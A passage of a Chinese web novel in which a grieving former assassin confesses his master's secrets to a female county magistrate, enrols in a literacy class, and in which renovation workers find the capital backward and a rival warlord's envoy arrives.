“二凤,我娘如今可好?” 听到他这话后,二凤避开了他担忧的眼睛,垂眼看自己早就被揉得皱皱巴巴的衣角。 “初六哥,路上遇到了流寇,你娘没能挺过来” 她不太敢看他,毕竟她知道初六为了给他娘治病才去给廖尚书卖命的,如今遭遇此等打击,不知道会不会心态崩溃。 在听到二凤这番话后,他愣神片刻,只感觉一直支撑着自己的那根支柱此刻轰然崩塌。 二凤还在说些什么,但他的意识早就混沌。 此刻说出来的话轻得和羽毛一样,却又实在是沙哑难听。 “你说我娘死了?” 二凤艰难开口:“初六哥,你别太想不开” 她后续还说了什么,他却再也听不下去。 ——凭什么,他作为死士替廖尚书做了多少脏活累活,他图的不就是当死士他娘能活着能有钱治病。 过去的记忆几乎是迅速在他眼前闪过,他无法控制地想到了小时候他娘握着他的手,眉眼带笑,弯腰点着他的鼻尖。 “我们家初六又长高了,以后很快就会比娘还要高呢。” 又不自觉想起来她是怎么扶着窗,看着爹和他在院子里站着练功。 当时他崇拜爹是侠客,行侠仗义,练功从不偷懒,只盼着自己能当爹那样光风霁月的侠客。 ——日后若遇到欺辱弱小,遇到不公,可以靠着自己的刀去讨个公平,讨个自在。 那个时候,他心怀大志,锐利得仿佛没什么东西能将他摧毁曲折。 就像他绝不会想到,以前那个一心想当侠客的自己会变成大人物手中的一把刀。 一把只处理脏污,抛弃他以往坚持着的一切的肮脏尖刀。 有些恍惚,他甚至不知道自己是怎么一步步允许自己滑落到这样的境界。 那一年,爹在当镖客时遭了意外,身死异乡,这消息传回来时,他娘没被打倒,反而四处靠着缝补衣裳养活他。 那个时候他岁数不大,但已经知晓了爹没了后他们会落入什么样的境地,为了减轻负担,他主动在外面寻觅合适的工作,可惜因为他人太小,岁数不够,许多活计都不要他,最后还是他求着哄着才拿到一份在花楼替人跑腿的活计。 因在花楼的贵客较多,一开始他也不会说些讨巧话,只会埋头苦干,毕竟过往受到的侠客教育,让他无法轻易去讨好别人,但很快,这点坚持在家中日子越来越困难后彻底消散,他开始逼自己学着恭维,学着圆滑,学着接受这一切。 当时的他还有种莫名的坚持——他只是还没到时候,等家中情况好一些 好一些,他就能像爹一样,看看能不能去应聘什么镖客什么的,到时候他赚了钱,家中的日子便会好过许多,他便不必在花楼去讨好贵客。 他娘倒是时不时会问他这些钱是从哪儿来的,他倒是会装乖,将银两的来源洗得干净。 ——他不想让娘知道自己这钱是从花楼,靠着自己低三下气的恭维卖笑得来的跑腿赚来的。 忘了怎么骗她的,但娘很好糊弄,他说什么,她就信什么。 他庆幸的同时,又无比渴望早日长大,长到足够大,能去当镖客赚钱,好早日离开这份让他难受的工作。 本来是这样想的。 但厄运总是能精准的找到他。 那日他回家,以往家里都会先飘出来柴火的烟熏味,饭菜的香味,但那天没有。 他顿觉不妙,冲进去时,看到的就是娘倒在地上。 等到他将人送到医馆,大夫却说这病难治,原先她身子就虚弱,后期更是得知丈夫死讯,又勉强维持家中生计,显然心窍早就受损,得需要名贵药材吊着才能活着。 但那些药材对于他们这样的普通人家太贵了。 大夫说话比较委婉,但他也听懂了这话语中的暗示。 他至今没忘他是怎么狼狈求着那大夫给他娘开点便宜的替代药,至少至少在他没弄到足够的银两前,她不能死! 日后他更频繁的往返花楼,只是不再只满足于跑腿,他开始慢慢涉及一些高风险的活计,比如保护某位大人物,又比如执行某个秘密任务。 但无一例外的是,他脏了手,而且是彻底回不去的那种。 拿到钱的那天,他先去给娘配了药,拎着药回家时,却看着原先爹曾工作过的镖行发呆。 ——他的侠客梦看来是彻底破灭了。 等到将药给娘喝下,眼看她气色越来越好,原先怅然若失的感觉消散了一些,他突然觉得,脏了手又怎么了,? 没关系,他起码让自己在乎的人活下来了。 这病需要静养,他便不让娘去外面干活,只让她在家里待着。 而随着这病越往后发展需要花费的银两越多,他被逼得只能走上给大人物当死士的这条路。 当死士并不是相当就能当的,毕竟得需要能力出众,心狠手辣。 他在出色完成任务后,总算被推举给了廖尚书。 当时廖尚书对他的身手很是满意,既他决定给自己当死士,廖尚书大手一挥,将他娘治病的花费全部包揽。 而当初他也并未让对方失望,他至少替廖尚书解决了远超医疗费的麻烦事带来的损耗。 而后期因他实力足够强,人也有可控制的弱点,廖尚书倒是将他提拔上来,久而久之,倒是混成了一把手。 家中一切安好,除了他越来越忙。 他忙于赚钱,家中只能找了个小丫头伺候娘。 等到有空回家后,便看他娘一脸严肃看他。 他不自觉心头狂跳——娘从未用这般严厉的目光看过他,今日是为何? 等到凑过去后,他还不曾站稳,脸上就挨了一巴掌。 力道很轻,他却听到了自己心碎的声音。 与之伴随而来的是剧烈的恐惧,这会他勉强控制表情,只是跪下膝行到娘身边,抬眼做出无辜。 “我惹娘生气了?” 娘就那样静静看他,眼中透露出疲惫和淡淡的怀疑。 “你做什么去了?哪来这么多钱?” 他心头咯噔,又故作淡定:“娘,不过是先前我救了一位贵人,之后跟着贵人做事而已。” 他能感觉到自己说谎时睫毛微微颤抖,但他不敢,也不能说出事实真相。 娘总说他是她的骄傲,是得了爹真传的小侠客,他无法,也不能对着娘说出那样残忍的话。 ——他没当上侠客,只是当了肮脏的刽子手。 不这样娘会失望,她本就为了他撑着病体,若得知他为了给她治病做出违背本心的事来,定会求得一死好让他们两个人都痛快解脱。 但若娘真那么做了,他又该如何自处? 他不敢说,他的本心早就迷失,就像船只找不到方向一样迷茫。 变坏像是滑滑梯,呲溜一下就很轻松滑到底,而重新回归正途对他来说很难,至少对于现在的他,很难。 有时候他反复质问自己,为何做一个好人那么难,想做好人时,各种破事接踵而来,而下定决心走上另一条截然相反的路时,一切却好了起来。 ——但是,为什么会这样?按照爹娘教给他的,不该是这样才对。 此时的他早就深谙说谎的艺术,这会说话也是半真半假,很快便将娘糊弄过去。 为了防止娘知晓他在外做的事,他瞒得很死,只是越来越繁忙的任务让他很少能够回家,只能一味的拜托邻居家的二凤照看一番娘。 当时他想得很简单,廖大人给娘治病,他便安心当他手中的那把刀便是。 这样就很好了他能在任务间歇看到娘好好的活着,而不是眼睁睁看着她缠绵病榻,最后暮气沉沉死去。 做死士,他死了,娘会伤心,但至少,他活着的时候,她也能活着,而他死了,她还能活着 这样就足够了。 但眼下情况截然不同,他还活着,娘却死了。 他的坚持,他的痛苦,迷茫,纠结,挣扎,一切仿佛像个笑话。 死士当得毫无价值,卖命卖到最后,也不过是大人物有用时拿出来用,无用时一脚踢开的垃圾而已。 第206章 招供 二凤不敢去看他的眼神,以往他回家时,她还能看到他摘下斗笠,露出那张还带着青涩的少年脸庞。 他长得很显小,不像是自己这个年纪的。 但说话做事倒是成熟。 至于原先,他倒是也给过她银两让她帮忙看顾他娘,虽说她没要钱,但对方每次回来都会给她扔下不少粮食算作心意。 后来等他找到合适的丫鬟后,这才没再麻烦她。 二凤家去给那廖尚书当死士的正是自己的爹,她爹身手不错,为了养活家里三个孩子,这才选择了去了廖府。 那现在就是她以为死去的父亲还活着,但他以为活着的娘却死了。 她不敢想初六哥会不会崩溃,只是看模样能看出来他现在不太好。 本想说些什么,却见他先行告辞。 而此刻,他只有一个念头,那便是招出背后的廖尚书,而后看有没有机会能够投靠风仙县。 他娘不能就这样白死了,他得找机会去那黎州,他要替他娘报仇。 想明白这些事后,他立即转头去找了负责监工的官兵。 等到他被官兵带着前去见方大人时,情绪收了几分,只是看着眼神更冷了。 为了防止他突然暴起伤人,除了方知意在场外,还有慎刑司的寻凉也在。 当然,会面地点在牢房,也是为了好控制,避免出现意外。 方知意其实有些好奇此人背后到底是谁,毕竟原先让他们继续上工不过是权宜之计,毕竟当初这群人一看就是死士,逼不得,逼急了反而容易有反作用。 现在倒是没想到他居然要主动开口,那应该是有什么变故出现了。 心中如是所想,但面上却不显。 她不曾开口,身旁自然有人率先开口问他。 “既然决定全部招来,那便开始吧,方大人时间金贵,没时间被你浪费。” 他此刻正被人绑在牢房内的铁链上。 初六从未感觉自己有哪一次像是今日这般清醒。 他挑了一些重要的事情交代,且故意透露出一些值得深入的情报,只为了当做后续交换。 因经常给廖尚书做脏活,他倒是知晓许多廖尚书那个地位才能知晓的丑事。 譬如廖尚书并非保皇派,而和明州的陈京行有所牵扯。 至于别的保皇派成员,以及和明州陈京行有所牵连的官员,他还真知道不少,且手头有的东西绝非这点。 初闻他们竟然是属廖尚书旗下时,方知意难免好奇。 毕竟黎州的尚书是如何关注到明州一破落边境小县的? 不过很快就从他口中得出答案。 ——竟然是因为祝家父子二人消失而来。 别人或许不知晓,但她可是清楚,那二人早就被仙师处理,恐怕现在早就身死。 且祝应,那位黎州真正的祝家天才目前可是为仙师做事的。 等对方稍微解释两句,她倒是很快明白了这廖尚书此人到底为何而来。 看似是为了女儿寻找爱夫,实际上是为了自己的利益,主要是看当日二人到底是惹了何人。 若无甚危险,他便借机会吞没祝家,若有危险,立即让女儿和对方和离,彻底和祝家不再有任何关联。 倒是没想到这消息来源竟然是眼前这名为初六的男子。 毕竟方知意记得此人刚被捉住时,那眼神看着可不像是能轻易招供的人。 初六也注意到这风仙县的方大人打量的目光,这会声音冷淡,思绪前所未有的清晰,继续开口:“大人定是好奇我为何会这样做,不如从我决定做廖尚书的死士开始说。 我因给我娘治病替他卖命,若是廖尚书按照约定好好对待我娘,我怀揣秘密去死又如何,这不过是当死士的觉悟而已。 但眼下廖尚书毁约在先,将我娘赶出黎州,现在我娘已身死,我已无心在完成那所谓的约定。 除了刚才我招供的情报外,我还有一些大人或许想知道的消息。 只不过还请大人满足在下一个心愿。” 他微微停顿,而后像是缓了一口气继续道:“还请大人让我前去黎州,我想替我娘报仇。 若大人能满足在下此等愿望,在下日后愿意为大人您效犬马之劳,在所不惜。” 这话他是真没骗人,也无心撒谎。 毕竟自从他娘死了后,原先的支撑着他的东西不再,眼下他只想着报仇,至于之后的事,那便是若有幸还能活着,这烂命就算送给这风仙县的掌权者又如何? 反正他看清了,像自己这样的普通人,只有被利用到死的下场,那些虚幻的美梦,从一开始就不存在。 或许就如同原先他一位同僚所言,最可怕的不是被人利用,而是自己没有利用的价值,他眼下应当就是如此吧。 方知意倒是先没开口,她倒是看出此人并非说假话,但这一心求死的心态她可不敢用。 “我信你不曾撒谎,但若让你去了那黎州,不说别的,你欲意死在黎州,本官岂不是亏了? 不如这样,你先将你知道的情报都告诉本官,你想去黎州,可以。 但得用足够价值的情报来交换。” 对于方知意而言,情报比他本人的能力更重要,无论是站在什么角度上来看。 听到方县令所说之话,他几乎没再犹豫,将自己所知的情报一一告知她。 毕竟对他一个一心只求报仇的将死之人而言,他不在乎对方会不会遵守约定放他离开,毕竟这是他唯一的出路。 风仙县和别的地方不同,若是别的地方,他一身能力不怕逃不出去,但这风仙县邪门得很,因为禁锢心法的存在,他彻底被动,不得不搏一搏,看对方是否是遵守约定之人。 假设对方毁约,他也无可奈何。 方知意看此人颇为爽快,这会先是默默将情报牢记于心,而后倒是多了几分惋惜之意。 ——一把好用的刀,若是此人日后为仙师所用定是一大助力。 但话又说回来,此人看着不像是想活着回来的类型,罢罢罢,看天意吧! 等到牢房打开,手上的铁链解开时,他还有些愣神。 ——这么轻易就给他松绑了?这是不是也太相信他了? 初六眼神复杂地看着眼前的方县令。 原先他初入风仙县,在知晓这县令竟然是个女子后,还颇为不屑,认为这是胡来,但等在干活间隙,倒是经常能听到不少有关这位方大人的事迹。 越听倒是越觉得自己原先想法狭隘,尤其此刻,对方竟丝毫不畏惧他,而是遵守约定,将他放开。 这会倒是生出几分感触。 她比一心追求侠客的那个自己更像是侠客。 这会对着方知意恭敬下跪,语气略微颤抖。 “谢大人成全!” 说完这话后,他起身迅速离开。 既要离开此地前往黎州,他得采买一番路上的干粮才是,且最重要的是,他必须要好好规划一番该如何刺杀廖尚书,而非盲目冲动,省得到时候报仇不成,反而被敌人反杀。 想明白其中各点后,他的首要目的变成了赚钱。 实在是他现在身上一分钱都没有,别说没马赶路,就连买干粮的钱都没有。 且他先前干活时就打探到,这风仙县律法相当严苛,且因是仙人术法监督,但凡是还想在本县安生过日子的,就没有敢主动做坏事的。 大部分人都是老老实实,本分生活。 同样的,他必须要先工作,才能赚到钱。 不过初六倒是不怕自己赚不到钱,毕竟他略略一扫便知晓,若是凭借着他的身后,做个镖客,或者是别的行当那可是得心应手。 本来是这么以为的,但很快在他连续被数家拒绝后有些怀疑人生。 等会,他这身手吊打其余人,为什么不选他? 或许是看他一脸疑惑,终于有人忍不住开口。 “你身手是不错,但你的扫盲班毕业证呢?” 初六眉头微蹙,疑惑简直化为实质。 “扫盲班?毕业证?” 艰难地吐出陌生词汇,他头一次感觉自己在和听天书一样费劲。 对方一脸稀奇。 “嘿,你这人挺有意思,你不知道在我们风仙县想要工作都得有扫盲证啊!啧啧啧,消息太落后了啊小郎君。” 初六难免被对方打趣得楞在原地。 这会又试探开口:“我确实不晓得,还请大哥告诉我该如何才能获得扫盲班的毕业证呢?” 好在此人不算冷漠,倒是慢悠悠开口指点他,还给他指了指去扫盲班的路。 “当然是去上扫盲班啊!沿着这条路走,往左拐就是扫盲班。” 初六和此人道别后,这才迅速赶往这所谓的扫盲班。 ——其实并非是他想在风仙县多停留。 原先他是打算先逃到其他县,在其他县的大户手里偷点钱和马匹,这样便能以最快速度赶到黎州。 本是这样计划的。 但等打探消息后才得知,附近县域大都是仙人旗下。 既在仙人旗下,想来管理也和风仙县一般严格,他这想法很快落空。 ——若是能到陈京行的领地,他倒是有办法弄到自己想要的东西,但坏就坏在他根本没办法在无补给的情况下坚持到陈京行的领地。 且中间变数太多,他是个谨慎的人,只愿意将概率牢牢地把握在自己手中,复仇还没成功,他决不允许自己死在半路。 一番权衡,只能留下来赚钱才是最合理,最快的办法。 且刚才他得知,风仙县有商队会前往黎州,若他能应聘上商队的打手,他甚至都不用再另操心搞到一匹马了,可以直接用商队的。 多方权衡,自然是留下来最为合理。 只是他意外于还要上什么所谓的扫盲班,这会沿着路往前走,直到登记成功,这才知晓扫盲班要教授的内容,以及大概多久能学完 半个月?这比他想的费劲。 但等听到只要学会了,便可以提前考试时,他倒是心底一喜。 他原先就聪慧,学东西很快,想来这扫盲班他也能很快拿下。 本觉得一切都还算掌控内时,却在他看到扫盲班熟悉的人时默默别过脸去。 二凤??? 眼神太热烈了,别看他。 他别开脸,却阻止不了那灼热的视线。 第207章 可怖 二凤自然惊讶。 她也是刚上扫盲班,武哥一行人比她要更早一班,毕竟她花了点时间去找初六哥,等到回去后,只能无奈参加了这批的扫盲班。 只是没能想到,会在这里遇到初六哥。 这会自然是主动坐在他旁边的座位,看他浑身僵硬,二凤也没来得及说话,便被讲堂上的人吸引了注意力。 初六刚想说她靠得太近了,但环顾一圈,发现周围不知何时竟然已经坐满了人。 此刻再说换座位这话也太没道理。 好在那台上负责讲学的夫子已经开始讲课。 他这会也不好继续开口,只能让自己沉浸下来听讲。 本以为课程或许会比较枯燥乏味,但很快,他就发觉自己还是想的有些表浅了。 那夫子所讲可谓是十分生动有趣,且讲的大都是他不曾听过的东西,譬如拼音,譬如九九乘法表。 因时间紧张,要扫盲的内容还算多,所以课程安排得很紧凑。 借着扫盲班,他倒是很快懂了不少本地才懂的新奇东西。 譬如新的计时时间,秒,分,时,新的算术方式,每日薪资最低为多少文,以及拖欠工资的话,该去哪个部门寻求官府帮助,还有卫生方面的宣传,比如每人春夏秋冬各个季节建议洗澡次数,正确洗手方式,以及如何预防蚊虫。 等等等等,虽说内容较多,但都较为简单。 学了一天后,他倒是大概摸清楚了这扫盲班所教授的大致东西,——完全不同的知识,和原先他学到的东西压根是两样系统。 这会还在暗中琢磨时,二凤倒还在小声念叨着乘法表。 这会念念有声。 又苦恼自己记不住。 初六难免叹气,而后试图教会她如何更快记住这乘法表。 费了一番努力,二凤总算是记住了这乘法表,这会又背了一遍,眼神亮得很。 “初六哥,多谢你,不然我真记不住这乘法口诀表呢!” 初六还和原先一样,淡淡的。 “没事,我只是教了我会的东西而已。” 两人起身往扫盲班提供的住宿地慢慢走去,二凤犹豫一会,看他没有要开口解释自己是如何出来的意思,好不容易找了个机会,试探着开口:“初六哥,我爹,他是不是还在牢房里呢?怎么才能出来?” 他微楞,而后脚步没停,话语飘散在空中。 “别着急,最多一个月,你爹应当就能出来了。” 他这话倒是没说假话,毕竟他招供时就特地求过方大人,是否能将其余人放走,不说离开风仙县,但也求一个自由,毕竟他该说的,该招供的都招了,其余人没有一个人知晓的比他更多,就算是留着也是毫无意义。 对于他的请求,方大人倒是没拒绝他,只是说具体释放时机要再定,毕竟后续还是需要挨个再审问一遍其余人,直到确定没有情报,且只有在通过特殊认定,确定这些人没有危险后才能被放出来。 但当时方大人说的是,最迟大概一个月能解决这件事。 他从不信别的人,但对于方大人所说的话,他却莫名其妙的深信不疑。 ——就像原先他所知晓的那样,方大人在民众心中的形象,那便是第二个仙人,只要方大人应允的事,那便没有做不到的! 后续的扫盲班还在继续上,确实如同他原先所想那般,他很快就通过了扫盲班的测试,顺利拿到了毕业证。 而后在找工作时,他先行去了那杜家商行,试着看对方需不需要招聘新的镖客。 方知意此刻正和赵金构对弈。 两人正在谈论黎州的布行生意,借助着红色,靛蓝布料开拓市场,布料商行很快便在黎州扎根下来,目前的话,将会每月给风仙县带来一笔固定的巨额稳定收入。 且同时为风仙县,以及相邻几个县的棉布出口找到了稳定售出渠道,对于新兴行业——染料行业,染布模具行业,售后指导行业,也是提供了不少工作岗位。 更为重要的是,无论哪个新兴行业,都会给风仙县带来一笔数额不小的收入,而这些收入,最终会流向民生,军队,医药,等等区域,总之只需要知道这些从黎州收割而来的银两足以支撑起日后仙师的继续扩张,且也在黎州彻底铺开了属于仙师的势力。 这步棋绝对是一妙计。 这会二人正在谈论那加盟费带来的变化——最表浅的收获便是数额不菲的加盟费,再深一点便是从本地跟过去,负责装修的装修队收入提升。 起初最早一批前去的装修队此刻早就来到了黎州元城。 一开始他们是在黎州别的县域负责装修加盟店,本对号称繁华的黎州充满好奇,但在看到真正的黎州县域后,各个蔫吧。 ——这和老家有啥区别?还没自家风仙县好啊,毕竟他们县晚上还灯火通明,大街小巷哪家不点沼气灯啊! 这会自来到黎州县域,甚是不习惯这里一到晚上就黑灯瞎火的状态。 当然,这话不能放在明面上说,毕竟他们出来前就特意被叮嘱过,不得透露出风仙县的情况,但私底下没少吐槽。 原先众人以为可能是因为他们去的不是元城,毕竟别的地方代表不了黎州。 好容易心心念念元城,等到真去了后,众人倒是小小的震惊片刻。 ——别说,这城门楼子是挺大哈,比风仙县大了不少,看来这元城很大,果然不愧是黎州的中心。 这会被李思带着入城,等到顺利通过那城门口的卫兵后,各个好奇地打量着元成内的一草一木。 别的不说,这元城倒是有不少精致的酒楼客栈,街道上百姓数量可比原先他们看到的任何一个县域的人数都要多。 但对应的,此地规矩还挺多,比如他们这里不让普通人前去那所谓的官老爷居住的那片区域,比如这里居住区域划分得甚是清晰。 富商居住的区域,官员居住的区域,皇家居住区域,以及百姓生活区域。 各自有各自的区分,按照皇家,官员,富商,百姓排行,排行高的能随意去排行低的区域,但反而言之,排行低的只能在自己所属区域待着,若有违反,轻则投入牢房关押个几日,重则要丧命的! 装修队初听闻此规矩时不是特别理解,毕竟他们风仙县可没这等麻烦规矩。 等到开始装修时,看着不少布商行均是装点得雅致,倒是对这黎州元城多了几分忌惮。 ——这一个个的,还是有几分实力的,这用的都是好木材啊,花费不少! 众人工作之余,除了一开始的好奇,别的时候倒是没特别惊诧,尤其是在看到这里虽说豪华,但沼气池是没有的,晚上也是漆黑一片的。 廉价的饭菜是量少难吃的,好吃的价格是要上天的。 这么一番对比,各个均觉得还是家里好啊 不说别的,出了风仙县,他们到底怎么才能过上那种收入高还花费少的生活啊! 越是干活,越是在这元城呆得没意思。 工匠们这番松弛且隐晦嫌弃的态度很快就被黎州元城的本地掌柜察觉。 这会一时半会还有些愣神。 ——啊?不是,这群人到底什么背景,他们可是元城啊,这都要嫌弃? 一时半会,竟对李思带来的装修队更是多了几分畏惧和警惕 看来背后之人地位非凡啊。 尤其是在看到这些匠人在看到那极为罕见,需要他们费尽心思,求爷爷告奶奶,花费颇多才能弄到一盏的“昭华灯”依旧一副淡定模样后,这些人彻底不淡定了。 连昭华灯都不放在眼里,这些匠人到底是什么来头? 莫非早就看过这昭华灯,不然不至于眼内连一点惊诧都不曾出现。 毕竟他们对自己看人很有信心,这些人眼内没有故作的淡定,只有真心实意的嫌弃和快要溢出来的三个字——想回去。 这可不是能随便装出来的淡然。 李思背后的神秘人,到底是谁,实力竟恐怖如斯,不说李思本人难搞,就连这名不见经传的小匠人也是见多识广,想来那位的家中必定他们想象不到的奢靡啊! 一时间,众人不免对李思背后的大人物猜测纷纷,倒有人不信邪,变着法子的旁敲侧击这些匠人。 别说,这些匠人嘴巴严得厉害,在初受打击后,他们没放弃,转而灌醉了其中几人,趁着对方有些醉意时忙问。 “兄弟,你们来的地方到底是哪啊,我观兄弟你淡定非凡,想来是见过大世面的人啊。” 那醉醺醺的匠人没回他,只是伏桌沉睡,这人不死心,——嘿,他就不信邪了,这些人嘴里竟然撬不出一句话。 这会换了个方向继续问。 “兄弟,在下甚是好奇,为何你见到昭华灯不曾惊讶,那等神物我等可都是第一次见。” 听到这话时,这匠人总算松动了几分。 这会不知道是不是带着往日的愤懑和积压了多日的吐槽,醉醺醺开口:“烂怂灯,这玩意早都看得不想看了你们还当个宝贝” 问话的这人脸色一僵,而后瞪大眼睛,不敢置信地反复咀嚼这话。 而后脸色惨白。 ——看腻了此物,岂不是说明这大人物家中有许多昭华灯?且听这口气,应当是那灯出现的很早了。 这等神物就连那些大人物也偶有几盏就很了不起了,看来李思背后的大人物比他们想象的还要可怖。 什么样的身份能有许多盏灯?恐怕眼下黎州刮起来的这昭华灯风向或许也是这位玩腻了后才流行开来的。 他还欲再问,这匠人却早就睡死过去,想到以前自己一行人对李思还多有不满,背后指点,这会竟是汗流浃背。 以前自己实在是糊涂啊——话说,还有补救机会么? 第208章 苦寒之地 最近要说风仙县最热闹的事,绝对要属装修队带回来的消息了。 当然,装修队人没回来,但信件还是陆陆续续到了家人的手里。 大伙惊叹点主要在于其发回来的工资——好家伙,这可不少啊。 这装修队赚钱实在是多,出去一趟,可要比在风仙县赚得多了一倍。 有人跃跃欲试,想来难道是因为那黎州赚钱机会多? 但很快这点想法就被后续的补充踹飞。 几乎所有匠人的信件都写了一堆杂七杂八的东西,总结下来大概就是: 出了风仙县,这才觉得别的地方压根不是人呆的地方。 总说黎州繁华,但真去了实地感受的话,风仙县要甩黎州好几条街。 毕竟黎州可没有沼气灯,也没有马桶,方便的沐浴,吃食也差,蚊虫还多,简直是苦寒之地啊。 黎州人:???嗯?不是,这对吗?这可是我们黎州诶!最繁华的地区,天子脚下的圣土!怎么在你们嘴里成了破乡下的了? 收到信件的匠人家人们倒也是各个瞪大眼睛,议论纷纷。 “哎,那黎州竟然没有沼气灯,这烧火做饭竟然还是用柴火和煤炭?” “说什么黎州繁华,现在看来,还是我们风仙县更胜一筹啊!” “不说别的,这用习惯了沐浴和马桶,去了黎州没有确实受不了啊!” “怎么回事,突然就不想出去赚钱了,虽说钱多,这也是辛苦钱啊!” 这话很快得到了众人的认可。 毕竟黎州又远,环境还艰苦,突然之间就觉得这钱也不是非要赚不可了 一时间,黎州不如本县的消息很快便在风仙县,以及周边的几个县域流传开来,这些说书人最近在说书时还会时不时插入一段黎州的描述,许多人倒是从听书人那里听到了不少关于黎州的消息。 脑子那点对黎州的好奇这会全崩了。 ——什么鬼啊!好一个没有马桶的原始之地!告辞告辞,实在是受不住! 这消息一出,竟然意外的安抚了不少左右摇摆之人,这会这些人终于决定老老实实的呆在仙师麾下,而非拖家带口去黎州。 原先这些人可都是打算慢慢将全家转移到黎州的,毕竟在他们看来,风仙县绝对是反贼,一个县域如何能和朝廷作对? 不如早些离开,少沾染麻烦才是。 但随着时间越来越久,倒是对自己原先的评价越来越怀疑,这会思来想去,难免在心中对比一二 这听起来黎州是不咋地啊他们可是用惯了马桶,沐浴的文明人,这一时半会的,去了黎州还真怕受不了。 又听到黎州也不曾防护蚊虫,这会不免纠结犹豫。 ——那报纸卫生宣传可是写得一清二楚,这蚊虫能带来疾病,风仙县因为经常消杀,县域内几乎很少见到蚊虫,这黎州不曾有这样的意识,去了万一好死不死的感染了疾病该如何是好? 且最重要的是,风仙县距离黎州也甚为遥远,路途多有流寇打劫,这不碰到流寇还好,碰到了可谓是死路一条啊。 多番对比,这会摇摆的心思是彻底歇了。 真的,不然别折腾了,反正天下已经三分了,这会又多了个仙师,最差情况不过是四分而已。 三分天下,和四分天下,有啥本质上的区别么? 没有! 想到最核心的矛盾后,一时间摇摆的众人顿时顿悟了。 罢罢罢,生死由命,富贵在天,还是老老实实在风仙县苟着吧! 既已决定在风仙县苟住,这会自然是主动带头给官府捐献了不少银两,算作建设本县之用。 毕竟他们原先摇摆之态县令大人绝非不知道,应当是在给他们机会想通,既已想通,这会面上工作自然是要做好的。 不然没有示好,何谓算是决定效力于仙师? 这装修队除了让一波墙头草稳定下来,倒也掀起了一波赚快钱的浪潮。 因这装修队实在是短期内赚得不少,眼下竟然有不少本县的,外县的,那种急需赚钱的人对加入这装修队颇有兴趣,甚至还特意过去询问这装修队几时再次招聘。 等听到现在下次招聘竟然就是一周后,这会众人立即默默开始做准备。 虽说黎州苦寒,但想去的人竟还不少。 黎州:不是,等等,苦寒?这在说我吗??? 当然,大众意义上的苦寒之地,毕竟没有对比就没有伤害嘛。 去的人主要奔着一来是薪资高,二来也是好奇那黎州到底是何模样,是否真像那些匠人描绘一般,三来也是因为跟着装修队出远门很是安全,毕竟有仙师庇护,这路途中的安全性自然是不必多说。 不说别的,至少不会有被流寇杀死的风险。 而在黎州,第一批装修队干得热火朝天,因加盟店太多,装修的活计估计还要干许久。 装修队为了方便,在黎州各个区域开设了专门的装修门店,一来主要负责加盟装修,二来负责加盟店关于装修问题的售后,三来也是为了打入本地的装修市场。 因布料行发展迅猛,黎州众人摸不透李思背后之人到底是谁,这会自然是抱着讨好他的心思去的。 要么是主动订购大批量的棉布,要么便是订购不少染料和染色工具,若是实在不需要以上两点的,便将家中需要装修,修缮房屋的业务交给了李思旗下的装修队。 本以为将这加盟店的装修活计干完就能回家的众人很快就察觉到了不对劲。 ——哎,不是,等等,这活怎么还会膨胀呢?越干越有啊!哪来的这些莫名其妙的活计的? 这会看着那装修单子上的一连串私人宅府发呆。 不要啊——实在是受不了,不想赚钱了,想回老家了,救命! 李思等了解到匠人们一副生无可恋的状态后倒是安抚了几句。 总之大概意思就是忍忍吧,下一批最迟半个月也来了,但在下一批来以前,你们得抗住啊,不然那可是对不起仙师,对不起县令大人啊! 装修队众人:真是离谱,以前想找点活都得靠抢,没想到会有一天哭着喊着求着别让自己干活了 与此同时,陈京行派来的使者终于到达城门外。 这会门口的守兵在得知这消息后,立即将此消息汇报给了县令大人。 方知意得知此事时,恰逢赶上祝应刚回来,这会两人正坐在议事厅谈论政策。 大致内容是对周边敌人的布局,防护,以及作战准备。 这会猛不伶仃听到属下来报,祝应懒散一笑。 “看来是陈京行先坐不住了,不如看看他此行目的如何。” 方知意慢慢点头:“我也是这般想的,这陈京行此人狡诈无比,又心狠手辣,必须要小心。” 两人互相对视一眼,而后方知意这才去会见那所谓的使者。 而祝应则是隔着屏风听外面的对话。 话说陈京行的使者带领数十人先来到风仙县门口。 一开始他还有些不太理解为何要对一县城这般顾忌,毕竟在他以往的使者过往中,还从未有过这般滑稽的一刻。 ——拥有更多领土的己方还需要主动给一个刚起来的小势力谈判送礼,以求和平,这说出去了简直要笑掉大牙。 起初听到陈京行说这话时,他简直要惊呆,好几次止言又欲,但在想到陈总司的脾气后又欲言又止。 得了,关他什么事,上头让怎么做,咱们就怎么做呗。 不然还能咋地,他还能强迫陈总司不成?那就算是有几个脑袋也不够砍的啊! 不过想来一小势力,陈总司应当起的是拉拢之意,毕竟必须先确保其明州境内内部平稳才能同朝廷,幽州做斗争嘛。 等到日后陈总司平定天下后,再转头收拾这小县城也不迟。 想明白这点后,他便在陈总司的嘱咐下去库房挑了相应的礼物,算作带过去的使礼。 本想着就算是到了这风仙县,他也要保持使者风度才是。 在城门口等了有一刻钟,他已然有些微微不耐烦。 ——这小县好大的派头,自己可是代表陈总司来的,竟然敢让他等了这么久? 正是心里嘀咕之际,总算看着城门慢慢打开。 本以为会是风仙县的县令亲自过来迎接他,结果熟悉的青色官袍没看到,反而看到了穿着盔甲的守城官兵。 这会使者的脸庞微微僵硬,心里尖叫。 这群无礼粗俗的乡下人! 本使者可是陈总司的使者,居然敢这般对待他! 按道理应当是风仙县的县令亲自下马迎接才是,这不下马就算了,合着你告诉我县令也不来? 县令不来也就算了,好歹得是个一把手过来吧? 结果最后来了个骑马的守城官兵??? 使者脸色微微僵硬,这会不住劝自己忍忍。 ——等办完陈总司要求的事后他就走,日后他就亲眼看着这风仙县被陈总司杀得片甲不留!这群野蛮人! 心里骂骂咧咧,面上还算能保持体面。 但等到他骑马进城时,却被官兵拦下要检查一番 行,检查就检查。 等检查完后,他颇为狼狈的爬上马,这会跟在那官兵身后,倒是开始慢慢悠悠环顾四周。 虽说这风仙县人颇为野蛮,但这里的百姓倒是看着状态不错,各个强壮,简直和他在本县看到的百姓完全不一样啊。 除了关注道路两旁的百姓,他还关注了周围开设铺子的店面,本以为会没几个人,这会却看到那铺子人那叫一个多,简直让他差点梦回过往最繁华的那个时代。 因他是并非从接收流民的城门入城,所以并没有看到接收流民那堪称震撼的一幕。 但此刻他也隐隐约约察觉到了一丝不对劲。 ——等会,这里的人,有些奇怪啊。 第209章 求和 使者仔细地打量着四周颇为好奇的百姓,这会不免嘀咕。 ——奇了怪了,这里的百姓各个看着精神气十足,那眼睛里带着的希望可是他不曾看到过的。 若是非要说的话,陈总司封地上的百姓,更更为麻木。 